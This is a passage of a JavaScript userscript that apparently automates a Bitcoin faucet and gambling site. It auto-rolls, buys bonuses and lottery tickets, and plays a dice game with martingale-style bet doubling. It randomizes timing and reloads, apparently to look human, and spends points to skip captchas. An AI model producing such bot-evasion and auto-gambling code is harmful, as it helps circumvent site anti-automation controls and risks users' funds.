  547. var min_between_bonuses = Math.floor((milli_between_bonuses-last_bonus_diff)/1000/60);
  548. var hours_between_bonuses = Math.floor(min_between_bonuses/60);
  549. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait HOURS_BETWEEN_BUY_BONUS before buy again, missing: '+hours_between_bonuses+'h '+min_between_bonuses%60+'m');
  550. $('#script_output_title_bonus_wait_hours').text('Wait '+hours_between_bonuses+"h "+min_between_bonuses%60+"m").removeClass('true').addClass('false');
  551. return false;
  552. } // or if missing time on roll error
  553. if (t[0] < 0){
  554. if (LOGGING > 3) console.log('[RPBonuses] Error getting missing time less then 0, that was'+t[0]+":"+t[1]);
  555. $('#script_output_title_bonus_wait_hours').text('E0001').removeClass('true').addClass('false');
  556. return false;
  557. } // or before missing 10-20 minutes
  558. if ( t[0] >= min_missing_min ) {
  559. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait '+Math.floor(t[0]-min_missing_min)+' minutes to buy near roll');
  560. $('#script_output_title_bonus_wait_hours').text('Wait '+Math.floor(t[0]-min_missing_min)+' m');
  561. return false;
  562. }
  563. // Buy some RP Bonus
  564. $('.rewards_link').not('.hide_menu').click();
  565. tot_rp_spent_rewards = parseInt(tot_rp_spent_rewards);
  566. if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses before: "+tot_rp_spent_rewards);
  567. setTimeout(function() {
  568. if (reward_points < 12) {
  569. if (LOGGING > 2) console.log("[RPBonuses] No enough points to buy bonus. Less then 12. Waiting for points in next rolls");
  570. } else if (reward_points < 120) {
  571. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 1RP");
  572. RedeemRPProduct('free_points_1');
  573. tot_rp_spent_rewards+=12;
  574. } else if (reward_points < 600) {
  575. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 10RP");
  576. RedeemRPProduct('free_points_10');
  577. tot_rp_spent_rewards+=120;
  578. } else if (reward_points < 1200) {
  579. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 50RP");
  580. RedeemRPProduct('free_points_50');
  581. tot_rp_spent_rewards+=600;
  582. } else {
  583. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 100RP");
  584. RedeemRPProduct('free_points_100');
  585. tot_rp_spent_rewards+=1200;
  586. }
  587. if (reward_points >= 4800 && Boolean(BONUS1000) ) {
  588. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 1000% roll - not convenient anymore");
  589. setTimeout(function(){ RedeemRPProduct('fp_bonus_1000')},random(5000,10000));
  590. tot_rp_spent_rewards+=3200;
  591. }
  592. $("#script_output_title_msg_mode").text("Promo");
  593. setTimeout(function(){
  594. setCookie("tot_rp_spent_rewards",tot_rp_spent_rewards,7);
  595. if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses after: "+tot_rp_spent_rewards);
  596. $('.free_play_link').not('.hide_menu').click();
  597. }, random(10000,20000));
  598. } ,random(2000,16000));
  599. }
  600. }
  601. function Roll() {
  602. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function Roll begin", 'color:grey');
  603. var d = new Date();
  604. var h = d.getHours();
  605. var t = missingTime();
  606. if (!Boolean(ROLL)) {
  607. $("#script_output_title_msg_mode").text("Disabled").removeClass('true').addClass('false');
  608. return true;
  609. }
  610. rollTryCount++;
  611. if ($('#free_play_form_button').is(':visible') && ! $('#play_without_captchas_button').is(':visible')) {
  612. r=random(1,100);
  613. if ( isNight() && Boolean(NIGHT_MODE) ) {
  614. if (r <= 30) rand=random(2400000,7200000);
  615. else rand=random(1000000,3600000);
  616. rolling_mode="Night";
  617. } else {
  618. if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more than hour
  619. else if (r <= 30) rand=random(6000,1800000); // long but not longest
  620. else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
  621. else rand=random(500,60000); // xx% cases fast roll
  622. rolling_mode="Day";
  623. }
  624. if (Boolean(SLOW_MODE)) {
  625. if (r <= 5) rand=random(3000,100000);
  626. else if (r <= 20) rand=random(300000,1500000);
  627. else if (r <= 40) rand=random(60000,2000000);
  628. else rand=random(120000,3000000);
  629. rolling_mode="Slow";
  630. }
  631. if (Boolean(isBonusActive) && Boolean(PROMO_MODE) ) { //If promo is active, roll faster
  632. if (r <= 5) rand=random(9000,3600000);
  633. else if (r <= 20) rand=random(6000,1500000);
  634. else if (r <= 40) rand=random(3000,1000000);
  635. else rand=random(500,240000);
  636. rolling_mode="Promo";
  637. } else if ( isNight() && Boolean(GHOST_MODE)) {
  638. // console.log("Ghost mode is active, don't free roll in the night");
  639. $("#script_output_title_msg_mode").text('Ghost');
  640. var waiting_milli;
  641. if (stopNight > h) {
  642. waiting_milli = (stopNight - h + 1)*60*60*1000;
  643. } else {
  644. waiting_milli = (stopNight + (24 - h + 1))*60*60*1000;
  645. }
  646. rand=random(waiting_milli, (waiting_milli + 3600000));
  647. if (LOGGING > 2) console.log("%c[Roll] Ghost Mode, Refresh page in rand "+rand/1000+" s", 'color: grey');
  648. setTimeout(function(){
  649. location.reload();
  650. }, rand );
  651. return true;
  652. }
  653. if (tot_btc_winning_rolling == 0) {
  654. rand=random(1000,2000);
  655. if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
  656. }
  657. $("#script_output_title_msg_mode").text(rolling_mode);
  658. //rand = rand(1000,2000);
  659. // Real ROLL Function
  660. rollAndRetrieve(rand);
  661. } else if ($('#play_without_captchas_button').is(':visible') ){
  662. if (Boolean(PLAY_WITHOUT_CAPTCHA)) {
  663. //Try to play without captcha, if enough RP
  664. if (LOGGING > 2) console.log ("[Roll] Captcha Roll");
  665. captchaRoll();
  666. } else {
  667. return false;
  668. }
  669. } else if (rollTryCount >= 10) {
  670. // refresh page after 10 minutes trying the next case
  671. location.reload();
  672. } else if (t[0] <= 0) {
  673. // Not in the home page window, try again in a bit
  674. $('#script_output_title_msg_roll').html('<span class="bold">Waiting 1m</span>');
  675. if (LOGGING > 2) console.log("[Roll] Retry in 1m");
  676. setTimeout(function(){
  677. Roll();
  678. }, 60000 );
  679. } else {
  680. $('#script_output_title_msg_roll').html('<span class="bold">Waiting Next Roll</span>');
  681. //$("#script_output_title_msg_mode").text("Wait");
  682. if (LOGGING > 2) console.log("[Roll] No roll");
  683. }
  684. }
  685. function captchaRoll() {
  686. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function captchaRoll begin", 'color:grey');
  687. $('#play_without_captchas_button').click();
  688. setTimeout(function(){
  689. var cost_rp = $('.play_without_captcha_description span').text();
  690. if (LOGGING > 2) console.log ("%c[Roll] Try to play without captcha for "+cost_rp+" RP points. You have "+reward_points+" RP.", 'color:purple;');
  691. if (reward_points >= cost_rp ) {
  692. // ROLL anyway paying
  693. if (LOGGING > 2) console.log ("[Roll] Roll with Captcha");
  694. $('#script_output_title_msg_roll').html('<span class="bold true">Captcha OK</span>');
  695. r=random(1,100);
  696. if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more than hour
  697. else if (r <= 30) rand=random(6000,1800000); // long but not longest
  698. else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
  699. else rand=random(500,60000); // xx% cases fast roll
  700. rolling_mode="Captcha";
  701. $("#script_output_title_msg_mode").text(rolling_mode);
  702. if (tot_btc_winning_rolling == 0) {
  703. rand=random(1000,2000);
  704. if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
  705. }
  706. rand = random(500,60000);
  707. rollAndRetrieve(rand);
  708. tot_rp_spent_captcha = Math.floor (parseInt(tot_rp_spent_captcha)+parseInt(cost_rp));
  709. setCookie("tot_rp_spent_captcha", tot_rp_spent_captcha, 7);
  710. } else {
  711. if (LOGGING > 2) console.log ("%c[Roll] Not enough RP. No Roll", 'color: red');
  712. $('#script_output_title_msg_roll').html('<span class="bold false">Miss RP</span>'); // Status on page
  713. }
  714. }, random(1000,3000));
  715. }
  716. function rollAndRetrieve (rand) {
  717. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function rollAndRetrieve begin", 'color:grey');
  718. var d = new Date();
  719. var h = d.getHours();
  720. // Show hour when will roll in status panel
  721. // new date to modify various time during function
  722. var d1 = new Date();
  723. d1.setSeconds(d.getSeconds() + rand/1000);
  724. var [{ value: year },,{ value: month },,{ value: day },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(d1);
  725. $('#script_output_title_msg_roll').html('<span class="bold">Roll at <span class="false">'+hour+':'+minute+'</span></span>');
  726. if (LOGGING > 2) console.log('%c[Roll] ---Will roll in '+rand/1000/60+' minutes','color:green');
  727. setTimeout(function(){
  728. //Duplicate the visibility chek to avoid error when humans roll and don't refresh.
  729. if ( $('#free_play_form_button').is(':visible') ){
  730. $('body').focus();
  731. //Update Status on page
  732. $('#script_output_title_msg_roll').html('<span class="true">++ Rolling NOW!</span>'); // Status on page
  733. if (LOGGING > 2) console.log('%c+++ROLL!','color:purple; font-weight: bold');
  734. // Execute the roll!!
  735. setTimeout(function(){ $('#free_play_form_button').click(); }, 500);
  736. setTimeout(function(){
  737. // get some errors and log those :(
  738. if ( $('#free_play_error').html().length > 0 ) {
  739. if (LOGGING > 1) console.log("%c[Roll] Some error occurred in Roll: "+$('#free_play_error').html() );
  740. return false;
  741. } else {
  742. var win_btc = $('#winnings').text();
  743. var win_lottery = $('#fp_lottery_tickets_won').text();
  744. var win_rp = $('#fp_reward_points_won').text();
  745. executions++;
  746. }
  747. // close tedious popup now
  748. closePopupInterval($('.close-reveal-modal'));
  749. //Update Status on page
  750. $('#script_output_title_msg_roll').html('<span class="true">++ Rolled</span>'); // Status on page
  751. $('#script_output_title_executions_num').text(executions);
  752. setCookie('executions', executions, 7);
  753. if (LOGGING > 2) console.log('%c[Roll] Execution number: '+executions,'font-weight:bold; color:green');
  754. if (LOGGING > 2) console.log('%c[Roll] Got '+win_btc+' btc, '+win_lottery+' tickets and '+win_rp+' RP!','font-weight:bold; color:green');
  755. if (win_btc > 0) {
  756. tot_btc_winning_rolling = parseFloat(parseFloat(tot_btc_winning_rolling) + parseFloat(win_btc)).toFixed(8);
  757. setCookie('tot_btc_winning_rolling', tot_btc_winning_rolling, 7);
  758. if (LOGGING > 2) console.log('%c[Roll] BTC Won totally with script %c'+tot_btc_winning_rolling,'color: gray', 'font-weight:bold');
  759. } else {
  760. if (LOGGING > 1) console.log('%c[Roll] Some error retrieving Roll Winnings. Winning btc was: '+win_btc, 'color: red');
  761. }
  762. if (win_lottery > 0) {
  763. tot_lottery_winning_rolling = parseFloat(parseFloat(tot_lottery_winning_rolling) + parseFloat(win_lottery)).toFixed(0);
  764. setCookie('tot_lottery_winning_rolling', tot_lottery_winning_rolling, 7);
  765. if (LOGGING > 2) console.log('%c[Roll] Tickets Won with script %c'+tot_lottery_winning_rolling,'color: gray', 'font-weight:bold');
  766. } else {
  767. if (LOGGING > 1) console.log('%c[Roll] Some error retrieving Roll Winnings. Winning lottery was: '+win_btc, 'color: red');
  768. }
  769. if (win_rp > 0) {
  770. tot_rp_winning_rolling = parseFloat(parseFloat(tot_rp_winning_rolling) + parseFloat(win_rp)).toFixed(0);
  771. setCookie('tot_rp_winning_rolling', tot_rp_winning_rolling, 7);
  772. if (LOGGING > 2) console.log('%c[Roll] RP Won with script %c'+tot_rp_winning_rolling,'color: gray', 'font-weight:bold');
  773. } else {
  774. if (LOGGING > 1) console.log('%c[Roll] Error retrieving Roll Winnings. Winning RP was: '+win_btc, 'color: red');
  775. }
  776. }, 6999);
  777. } else {
  778. if (LOGGING > 3) console.log('[Roll] Already Rolled maybe by some human..');
  779. //Update Status on page
  780. $('#script_output_title_msg_roll').html('<span class="false">Already Rolled</span>'); // Status on page
  781. setTimeout(function(){ location.reload(); }, 30000);
  782. }
  783. },rand);
  784. //Random Action After ROLL
  785. var rand1=rand+random(1000,600000);
  786. rand=random(0,100);
  787. if (rand > ROLL_P) {
  788. if (LOGGING > 2) console.log('[Roll] [Debug] Reload page after roll in '+rand1/1000/60+' minutes!');
  789. setTimeout(function(){ location.reload(); }, rand1);
  790. } else if (rand <= ROLL_P && Boolean(MULTIPLY) && Boolean(isMultiplyPlayable)) {
  791. // Show hour when will multiply in status panel
  792. d1.setSeconds(d.getSeconds() + rand1/1000);
  793. [{ value: year },,{ value: month },,{ value: day },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(d1);
  794. if (LOGGING > 0) console.log('[Roll] ---Will multiply in '+rand1/1000/60+' minutes!');
  795. $('#script_output_multiply_status').html('<span class="bold">Multiply at: <span class="false">'+hour+':'+minute+'</span></span>');
  796. setTimeout(function(){ multiply(true, false); }, rand1);
  797. } else {
  798. if (LOGGING > 2) console.log('[Roll] No action after roll. Rand was '+rand);
  799. }
  800. }
  801. function lottery () {
  802. //Plan buying lottery ticket
  803. if(Boolean(LOTTERY)){
  804. if (LOGGING > 4) console.log("%c[Lottery] [Debug] Function lottery begin", 'color:gray');
  805. var r = random(1,100);
  806. var d = new Date();
  807. var h = d.getHours();
  808. var satbalance = parseInt($('#balance').text().split(".")[1]);
  809. var randl = random(1,LOTTERY_MAX_TICKETS).toFixed(0); //Tickets to buy
  810. if ( isNight() ) return true;
  811. else if (satbalance <= randl) return true;
  812. else if (r>= LOTTERY_P) return true;
  813. if (LOGGING > 2) console.log("[Lottery] Buy %c"+ randl + " lottery tickets %cin some time....", 'color:yellow', 'color:reset');
  814. setTimeout(function(){
  815. $('#lottery_tickets_purchase_count').val(randl);
  816. setTimeout(function(){
  817. $('#purchase_lottery_tickets_button').click();
  818. if (LOGGING > 2) console.log("%c[Lottery] Bought "+ randl + " lottery tickets", 'color:yellow');
  819. tot_lottery_tickets = Math.floor(parseInt(tot_lottery_tickets) + parseInt(randl));
  820. setCookie('tot_lottery_tickets',tot_lottery_tickets,7);
  821. }, random(2000,4000));
  822. }, random(40000,120000));
  823. }
  824. }
  825. // Multiply, called after the free roll, sometimes.
  826. // ******** MULTIPLY GAME LOGIC START *********
  827. // Pre start and selector
  828. function multiply(after_roll, forced) {
  829. if (LOGGING > 4) console.log("%c[Multiply] [Debug] Function multiply begin", 'color:grey');
  830. var d = new Date();
  831. var h = d.getHours();
  832. var t = missingTime();
  833. var max_missing_min = 0;
  834. var milli_between_multiplies = Math.floor(HOURS_BETWEEN_MULTIPLY*60*60*1000);
  835. var balance = parseFloat($('#balance').text()).toFixed(8);
  836. var bonus_mul = false;
  837. var last_multiply_diff = Math.floor(d.getTime() - last_multiply);
  838. if (LOGGING > 4) console.log("%c[Multiply] [Debug] lastMultiply diff: "+last_multiply_diff+" -- last_multiply: "+last_multiply+" -- now: "+d.getTime(), 'color:grey');
  839. if ($("#bonus_account_table").length != 0) {
  840. var bonus_mul_balance = $('#bonus_account_balance').text().split(" ")[0];
  841. var bonus_mul_wager_remaining = $('#bonus_account_wager').text().split(" ")[0];
  842. if (LOGGING > 2) console.log('%c[Multiply] bonus balance: '+bonus_mul_balance+', wager remaining: '+bonus_mul_wager_remaining, 'color:grey');
  843. bonus_mul = true;
  844. } else bonus_mul = false;
  845. if (!Boolean(MULTIPLY) && !Boolean(forced)) {
  846. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Disabled by config');
  847. $('#script_output_title_multiply_wait_hours').text('Disabled').removeClass('true').addClass('false');
  848. $('#multiply_strategy').hide();
  849. return false;
  850. }
  851. if ( !Boolean(MULTIPLY_AT_NIGHT) && isNight() && !Boolean(forced)) {
  852. if (LOGGING > 3) console.log('%c[Multiply] Not playing multiply in the night','color:gray');
  853. $('#script_output_title_multiply_wait_hours').text('Wait Morning');
  854. return false;
  855. }
  856. if ( balance < MAX_BET && bonus_mul_balance < MAX_BET && !Boolean(forced)) {
  857. if (LOGGING > 3) console.log('[Multiply] Not enough balance for MAX_BET');
  858. $('#script_output_title_multiply_wait_hours').text('Adjust MaxBet');
  859. return false;
  860. }
  861. if ( last_multiply_diff < milli_between_multiplies && !Boolean(forced)) {
  862. var min_between_mult=Math.floor((milli_between_multiplies - last_multiply_diff)/1000/60);
  863. var hours_between_mult=Math.floor(min_between_mult/60);
  864. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait HOURS_BETWEEN_MULTIPLY before play again, missing '+hours_between_mult+"h "+min_between_mult%60+"m");
  865. $('#script_output_title_multiply_wait_hours').text('Wait '+hours_between_mult+"h "+min_between_mult%60+"m");
  866. //$('#ref_multiply_missing_hours').text(Math.ceil((milli_between_multiplies - last_multiply_diff)/1000/60/60));
  867. $('#script_output_title_multiply_wait_hours').removeClass('true').addClass('false');
  868. return false;
  869. }
  870. if ( t[0] > 0 && t[0] <= max_missing_min && !Boolean(forced)) {
  871. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait to play not near next roll, missing just %c'+t[0]+' min', 'color:purple');
  872. $('#script_output_title_multiply_wait_hours').text('Wait '+t[0]+'m');
  873. return false;
  874. }
  875. if (Boolean(isMultiplyRunning)) {
  876. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Some other istance already playing');
  877. return false;
  878. }
  879. if (Boolean(after_roll)) {
  880. if (!Boolean(forced)) $('.double_your_btc_link').not('.hide_menu').click();
  881. tot_multiply_games = parseInt(tot_multiply_games)+1;
  882. setCookie("tot_multiply_games", tot_multiply_games, 30);
  883. setCookie("last_multiply", d.getTime(), 30);
  884. $('#script_output_multiply_status').html('<span class="bold">Multiply: <span class="true">Running!</span></span>');
  885. if (LOGGING > 4) console.log(Boolean(after_roll)+", "+balance+", "+bonus_mul_balance+", "+MAX_BET+", "+Boolean(MULTIPLY));
  886. multiply_manual();
  887. } else {
  888. isMultiplyPlayable = true;
  889. if (LOGGING > 3) console.log('[Multiply] Yes can play multiply '+isMultiplyPlayable);
  890. }
  891. }
  892. function multiply_manual() {
  893. var bet_count=0; var bet_remaining=0;
  894. var past_bet; var bet_amount; var bet_odds; var bet_hilo;
  895. var winnings=0;
  896. var won=0; // won lost or error -1, 1 or 0
  897. var consecutive_lost=0; var consecutive_win=0;
  898. var fast_bet=false; var log_msg = ""; var c;
  899. var multiply_message="";
  900. var curr_multiply_balance=0; var curr_multiply_wagered = 0;
  901. var max_consecutive_losts_session=0; var max_consecutive_wins_session=0;
  902. var max_consecutive_losts_inplay_session=0; var max_bet_session=0;
  903. var last_session_hist=[];
  904. var balance = parseFloat($('#balance').text()).toFixed(8);
  905. // Global vars setting to avoid duplicate games and increments.
  906. // as error reported bug on play
  907. game2_consecutive_lost_passed=false; game2_finished_loosing=false;
  908. game2_play_after_losses=0; game2_step=0;
  909. forceMultiplyStopHard=false; forceMultiplyStopSoft=false;
  910. game_play_began=false; game_play_count=0;
  911. // Multilpy Running
  912. isMultiplyRunning = true;
  913. if ( $('#multiply_full_container').length) {
  914. multiply_message = "<span class='lime'><b>Running!</b></span>";
  915. $('#multiply_message').html(multiply_message);
  916. }
  917. // Activate DOM Monitors
  918. /// *** NEW VERSION ***
  919. if (LOGGING > 4) console.log("[Multiply] Activating MutationObserver Monitors, beginning to play");
  920. const targetNode = document.getElementById('double_your_btc_result');
  921. const config = { attributes: true, childList: true, subtree: true };
  922. const callback = function(mutationsList, observer) {
  923. //if (LOGGING > 4) console.log("%cDom modified.", "color: grey");
  924. if ( $('#double_your_btc_error').html().length > 0 ) {
  925. var multiply_error = $('#double_your_btc_error').html();
  926. console.log('%c[Multiply] Fatal Error in multiply: '+multiply_error, 'color: red');
  927. //$('#script_output_title_multiply_wait_hours').text('Fatal Error').removeClass(true).addClass('false');
  928. setCookie('multiply_error', multiply_error, 31);
  929. multiply_message = "Finish for some error";
  930. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  931. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  932. return true;
  933. } else if ( $("#double_your_btc_bet_win").html().length > 0 ) {
  934. won = 1; c="green"; fast_bet = true;
  935. winnings = $("#double_your_btc_bet_win").html().split(" ")[6];
  936. if (winnings > 0) {
  937. tot_multiply_balance = parseFloat(parseFloat(tot_multiply_balance) + parseFloat(winnings)).toFixed(8);
  938. curr_multiply_balance = parseFloat(parseFloat(curr_multiply_balance) + parseFloat(winnings)).toFixed(8);
  939. }
  940. consecutive_win++;
  941. consecutive_lost=0;
  942. if ( $('#multiply_full_container').length) {
  943. $('#multiply_cons_wins > b').html(consecutive_win).addClass("green-bg");
  944. setTimeout(function () { $("#multiply_cons_wins > b").removeClass("green-bg"); },500);
  945. }
  946. } else if ($("#double_your_btc_bet_lose").html().length > 0 ) {
  947. won = -1; c = "red";
  948. winnings = $("#double_your_btc_bet_lose").html().split(" ")[6];
  949. if (winnings > 0) {
  950. tot_multiply_balance = parseFloat(parseFloat(tot_multiply_balance) - parseFloat(winnings)).toFixed(8);
  951. curr_multiply_balance = parseFloat(parseFloat(curr_multiply_balance) - parseFloat(winnings)).toFixed(8);
  952. }
  953. consecutive_lost++;
  954. consecutive_win=0;
  955. if ( $('#multiply_full_container').length) {
  956. $('#multiply_cons_losts > b').html(consecutive_lost).addClass("red-bg");
  957. setTimeout(function () { $("#multiply_cons_losts > b").removeClass("red-bg"); },500);
  958. }
  959. } else won = 0;
  960. if (won != 0) {
  961. // COOKIES for STATISTICS
  962. setCookie("tot_multiply_balance", tot_multiply_balance, 7);
  963. setCookie('curr_multiply_balance',curr_multiply_balance,7);
  964. var rolled = $('#previous_roll').text();
  965. last_session_hist.push(Math.round(curr_multiply_balance*100000000));
  966. setCookie('last_multiply_session_hist',JSON.stringify(last_session_hist),7)
  967. // Session Cookie
  968. if (consecutive_lost >= max_consecutive_losts_session) {
  969. max_consecutive_losts_session=consecutive_lost;
  970. setCookie('max_consecutive_losts_session', max_consecutive_losts_session, 7);
  971. }
  972. if (consecutive_lost >= max_consecutive_losts_inplay_session && bet_amount > MIN_BET) {
  973. max_consecutive_losts_inplay_session=consecutive_lost;
  974. setCookie('max_consecutive_losts_inplay_session',max_consecutive_losts_inplay_session,7);
  975. }
  976. if (bet_amount >= max_bet_session) {
  977. max_bet_session=parseFloat(bet_amount).toFixed(8);
  978. setCookie('max_bet_session',max_bet_session,7);
  979. }
  980. // General Cookies
  981. if (consecutive_lost > max_consecutive_losts_inplay && bet_amount > MIN_BET) {
  982. max_consecutive_losts_inplay = consecutive_lost;
  983. setCookie('max_consecutive_losts_inplay',max_consecutive_losts_inplay,7);
  984. }
  985. if (consecutive_lost > max_consecutive_losts) {
  986. max_consecutive_losts=consecutive_lost;
  987. setCookie('max_consecutive_losts', consecutive_lost, 365);
  988. }
  989. if ( rolled != '7777' ){
  990. jackpot_distance++;
  991. setCookie('jackpot_distance', jackpot_distance, 31);
  992. }
  993. if ( $('#multiply_full_container').length) {
  994. // Update the values
  995. $('#multiply_bet_count > b').html(bet_count).addClass("green-bg");
  996. setTimeout(function () { $("#multiply_bet_count > b").removeClass("green-bg"); },200);
  997. $('#multiply_play_count > b').html(game_play_count);
  998. $('#multiply_max_cons_losts > b').html(max_consecutive_losts_session);
  999. $('#multiply_max_bet > b').html(max_bet_session);
  1000. $('#balance_before > b').html(balance);
  1001. $('#balance_now > b').html(parseFloat($('#balance').text()).toFixed(8));
  1002. $('#multiply_wagered > b').html(curr_multiply_wagered);
  1003. $('#multiply_profit > b').html(curr_multiply_balance);
  1004. }
  1005. // Next bet values getting It return a FLOAT number. Will be converted in bet function.
  1006. bet_amount = get_bet_amount( past_bet, consecutive_lost, consecutive_win);
  1007. bet_hilo = get_bet_hilo(consecutive_lost);
  1008. bet_odds = get_bet_odds();
  1009. if (LOGGING > 2) {
  1010. log_msg = "Rolled:"+rolled+",%c Won:"+parseFloat(winnings).toFixed(8)+"%c, Played#:"+bet_count;
  1011. log_msg += "/"+MAX_ROLLS_AT_MULTIPLY+"/"+game_play_count+", L/W: "+consecutive_lost+"/"+consecutive_win;
  1012. log_msg += ", CurrBal:"+curr_multiply_balance+", TotBal:"+tot_multiply_balance;
  1013. log_msg += " <Next bet: "+parseFloat(bet_amount).toFixed(8)+"("+game2_step+") on "+bet_hilo+", Fast: "+fast_bet+">";
  1014. console.log(log_msg, css_bold+"color:"+c, css_reset);
  1015. }
  1016. // EXIT CONDITIONS -- Play or finished logic
  1017. if (Boolean(forceMultiplyStopHard)) {
  1018. multiply_message = "Finish for <b>Stop Button</b> pressed";
  1019. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1020. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1021. return true;
  1022. } else if ( bet_count >= MAX_ROLLS_AT_MULTIPLY || Boolean(forceMultiplyStopSoft)) {
  1023. if (LOGGING > 2) console.log("%cSoft finish, wait ending this play", css_bold+"color:"+c+", "+css_reset);
  1024. if ( !Boolean(game_play_began) ) {
  1025. multiply_message = "Finish for <b>Stop Soft</b> or <b>Max Roll</b> passed";
  1026. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1027. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1028. return true;
  1029. }
  1030. } else if (game_play_count >= MAX_PLAY && !Boolean(game_play_began)) {
  1031. multiply_message = "Finish for <b>Game Play</b> count passed";
  1032. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1033. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1034. return true;
  1035. } else if (bet_amount > MAX_BET) {
  1036. multiply_message = "Finish for <b>bet amount</b> passed max bet";
  1037. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1038. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1039. return true;
  1040. } else if (curr_multiply_balance >= MAX_WIN) {
  1041. multiply_message = "Finish for <b>MAX_WIN</b> passed";
  1042. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1043. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1044. return true;
  1045. } else if (bet_amount < 0.00000001) {
  1046. multiply_message = "Finish for error in bet amount value";
  1047. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1048. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1049. return false;
  1050. }
  1051. curr_multiply_wagered = parseFloat(parseFloat(curr_multiply_wagered) + parseFloat(bet_amount)).toFixed(8);
  1052. tot_multiply_wagered = parseFloat(parseFloat(tot_multiply_wagered) + parseFloat(bet_amount)).toFixed(8);
  1053. setCookie('tot_multiply_wagered',tot_multiply_wagered, 365);
  1054. setCookie('curr_multiply_wagered',curr_multiply_wagered, 30);
  1055. if (past_bet != bet_amount) fast_bet=false;
  1056. else fast_bet=true;
  1057. bet_count++;
  1058. past_bet=bet_amount;
  1059. //Security wait of 30 seconds if speed fast (3) and every 500 collected
  1060. // call the bet
  1061. bet(bet_amount, bet_hilo, bet_odds, fast_bet);
  1062. } else {
  1063. var winlength=$("#double_your_btc_bet_win").html().length;
  1064. var loslength=$("#double_your_btc_bet_lose").html().length;
  1065. var domtree=$('#double_your_btc_result').html();
  1066. multiply_message = "Finish for no value in DOM var";
  1067. if (LOGGING > 1) console.log("%cFinish for no value in won var, was: "+won+", win l: "+winlength+", los l: "+loslength, css_bold+"color:"+c);
  1068. if (LOGGING > 3) console.log("%cFinish for no value in won var, DOM was: "+domtree, css_bold+"color: grey");
  1069. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1070. }
  1071. };
  1072. // Begin the observer
  1073. const observer = new MutationObserver(callback);
  1074. observer.observe(targetNode, config);
  1075. // Disable Animation
  1076. $("#disable_animation_checkbox").prop( "checked", true );
  1077. // First bet that cause all the others and Dom modifications
  1078. setTimeout(function(){
  1079. bet_hilo = get_bet_hilo(0);
  1080. bet_amount = get_bet_amount(MIN_BET,0,0);
  1081. bet_odds = get_bet_odds();
  1082. bet_count++; past_bet=bet_amount;
  1083. bet(bet_amount, bet_hilo, bet_odds, false);
  1084. }, random (3500,6500) );
  1085. }
  1086. function get_bet_amount(past_bet, consecutive_lost, consecutive_win){
  1087. if (STRATEGY == 0) {
  1088. if (consecutive_lost == 0) {
  1089. game_play_began=false;
  1090. return BAS_BET;
  1091. }
  1092. else {
  1093. if (consecutive_lost == 1) {
  1094. game_play_began = true;
  1095. game_play_count++;
  1096. tot_multiply_play++;
  1097. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1098. }
  1099. return past_bet*2;
  1100. }
  1101. } else if (STRATEGY == 1 || WAIT_PLAY_AFTER_LOSSES == 0){
  1102. if (consecutive_lost < MIN_LOSSES_BEFORE_PLAY) {
  1103. if (Boolean(game_play_began)) {
  1104. game_play_began=false;
  1105. }
  1106. return MIN_BET;
  1107. } else if (consecutive_lost == MIN_LOSSES_BEFORE_PLAY){
  1108. game_play_began=true;
  1109. tot_multiply_play++;
  1110. game_play_count++;
  1111. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1112. return BAS_BET;
  1113. } else {
  1114. return past_bet+(past_bet*INCR/100);
  1115. }
  1116. } else if (STRATEGY == 2 || STRATEGY == 3) {
  1117. if (!Boolean(game2_consecutive_lost_passed)) {
  1118. if (Boolean(game_play_began)) game_play_began=false;
  1119. if (consecutive_lost < MIN_LOSSES_BEFORE_PLAY) {
  1120. game2_step=1;
  1121. return MIN_BET;
  1122. } else if (consecutive_lost == MIN_LOSSES_BEFORE_PLAY){
  1123. // passed tot lost, next step -> else
  1124. game2_step=2;
  1125. game2_consecutive_lost_passed = true;
  1126. return MIN_BET;
  1127. } else return "-009";
  1128. } else {
  1129. if (!Boolean(game2_finished_loosing)) {
  1130. if (consecutive_win == 0 ) {
